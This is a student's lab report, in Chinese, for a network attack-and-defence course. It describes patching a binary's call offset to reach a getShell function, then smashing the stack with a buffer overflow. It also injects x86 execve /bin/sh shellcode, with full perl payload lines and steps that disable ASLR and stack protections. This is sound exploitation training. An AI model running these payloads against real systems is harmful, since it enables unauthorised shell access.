2019-2020-2 20175205侯颖《网络对抗技术》Exp1 PC平台逆向破解
2019-2020-2 20175205侯颖《网络对抗技术》Exp1 PC平台逆向破解
基础知识点
- 反汇编指令
objdump -d pwn1 | more
object dump
项目导出-d disassemble
反汇编pwn1
文件名|
管道符,把一个命令的标准输出传到另一个命令的标准输入中more
分页显示
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
3.掌握反汇编与十六进制编程器
- 反汇编指令
objdump -d filename
object dump
项目导出-d disassemble
反汇编pwn1
文件名|
管道符,把一个命令的标准输出传到另一个命令的标准输入中more
分页显示- 如果我们想要以全屏幕的方式按页显示反汇编的内容,可以利用“管道”,即在反汇编指令后添加| more,这样我们就可以利用more的一些快捷键,如:Enter(向下翻滚一行),空格(向下滚动一屏),Q(退出命令)
- 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
- 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
- 输入:%!xxd将显示模式切换为16进制模式;
- 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。
4.能正确修改机器指令改变程序执行流程
- 见任务一
5.能正确构造payload进行bof攻击
- 见任务三
实验步骤
(一)任务一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1. 基本知识点
- 输入指令
objdump -d pwn1 | more
反汇编pwn1
文件。 - 机器语言:
call
————>机器指令:e8
call
指令后的表示相对偏移地址(小端模式),机器指令用补码表示- 执行到
call
指令,EIP
的值为80484ba
,即下一条指令的地址 - EIP的值+相对偏移地址(逆序)=跳转函数的地址(更新EIP)
2.理清思路
- 修改相对偏移地址,将函数跳转到
部分 - 当前EIP的值(80484ba)+相对偏移地址(?)=getShell函数地址(804847d)
- 相对偏移地址 = C3 ff ff ff(小端模式)
- 因此,跳转到getShell函数只需将
e8
后面的相对偏移地址改为C3 ff ff ff
3. 实验步骤
-
备份原有文件
cp pwn1 pwn2
-
使用vi编辑器编辑pwn2文件
-
由于pwn2是可执行文件,因此用编辑器打开是乱码显示
-
Esc
,输入:%!xxd
将显示模式切换为16进制模式 -
大致分为三列:文件内的相对位置 十六进制表示 ASCII码
-
使用命令
/e8 d7
锁定修改位置 -
输入
i
进入插入模式,将d7
修改为c3
-
输入
:%!xxd -r
将十六进制模式转换为原格式 -
输入
:wq
保存退出
-
反汇编验证
-
运行验证(若发现权限不够可使用
chmod abc filename
修改权限)
(二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1. 理清思路
- ptr指针的大小为:0x1c,并指向输入的字符串
- 根据堆栈的结构,在foo函数形成自己的栈帧之前,堆栈顶部存放着返回地址,即主函数call指令下一条指令的地址
- 若使输入的数据的第33、34、35、36,这四个字节是getShell函数的地址,则就可以覆盖返回地址,出发getShell函数
- 问题:我认为系统预留的缓冲区应该为28个字节
2. 实验步骤
-
使用命令
gdb pwn3
调试程序,参数r
表示运行 -
若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错
-
使用
info r
指令显示寄存器的值
-
getshell函数的地址为:
0x0804847d
,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为\x7d\x84\x04\x08
-
输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
-
使用
xxd input
查看文件内容
-
通过管道符
|
,作为pwn1的输入,格式为(cat input; cat ) | ./pwn3
-
实验成功,但最后退出3报了一个段错误,不是很懂
(三)任务三:注入一个自己制作的shellcode并运行这段shellcode。
1. 准备shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。
2. 攻击思路
- 攻击思路还是利用缓冲区溢出
- 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
- 返回地址不再是修改为getshell的地址,而是shellcode的地址
- 确定shellcode的位置,一般放在EIP之后
- 构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
- 在shellcode前加入
0x90 0x90
这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS(return nops shellcode)模式
3. 构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode(一般来说使用RNS的形式)
- nop+shellcode+retaddr(约束shellcode的大小)
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
4. 实验步骤
- 设置堆栈可执行
execstack -s pwn3 //设置堆栈可执行
execstack -q pwn3 //查询文件的堆栈是否可执行
- 关闭地址随机化(若文件权限不够,则输入
sudo -s
),2为开启,0为关闭
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
echo "0" /proc/sys/kernel/randomize_va_space //关闭随机化
- 失败案例——nsr
- 注入一段代码,我们首先构造一个input_shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
-
使用
xxd input_shellcode
查看文件内容 -
通过管道符
|
,作为pwn3的输入,格式为(cat input_shellcode; cat ) | ./pwn3
-
在另外一个窗口
ps -ef | grep pwn3
能看见当前运行pwn3的进程号为3241;
-
启用
gdb
调试进程,输入attach 3241
动态调试当前进程号进程 -
使用
disassemble foo
反编译
-
可以看到ret指令的地址为
0x080484ae
,在此处设置断点break *0x080484ae
-
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
-
再在gdb调试的终端输入
c
继续运行程序 -
info r esp
查看esp寄存器地址 -
x/16x 0xffffd34c
以16进制形式查看0xffffd34c地址后面16字节的内容
-
一直往前找,直到出现
0x90909090
,再改根据shellcode起始位置,更改输入字符串的值
-
-
成功案例——rns
- 注入一段代码,我们首先构造一个input_shellcode
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
步骤同上,得出shellcode的起始地址为
0xffffd34c+0x00000004=0xffffd350
-
将注入代码改为
perl -e 'print "A" x 32;print "\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 攻击成功
总结
实验收获及感想
通过这次实验发现,汇编指令的相关知识全还给老师了,很多细小的知识点都遗忘了,但是经过自己动手实践,学习教学视频,及时做相关笔记,这才将忘了的东西慢慢捡回来。
本次实验我花了将近5个小时完成,对于实验的每一步都尽量去理解掌握其中原理,以前在很多课上都谈到过缓冲区溢出的原理危害等等,这次自己动手实现缓冲区溢出攻击,让我对堆栈的结构有了更深的认识;掌握了在程序加载时,怎么形成栈帧,栈顶指针的变化;在实现函数跳转时,什么参数入栈;理解了堆栈是如何被恶意代码覆盖,覆盖后怎样跳转等等。第一次接触到这样的实验,感觉十分有趣,当自己真的实现缓冲区溢出攻击,还挺激动-非常期待接下来的其他实验。
什么是漏洞?漏洞有什么危害?
漏洞就是在计算机硬件、软件、协议、安全策略上存在的缺点。利用这些缺点,攻击者可以对计算机系统进行攻击,从而达到一定的目的。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。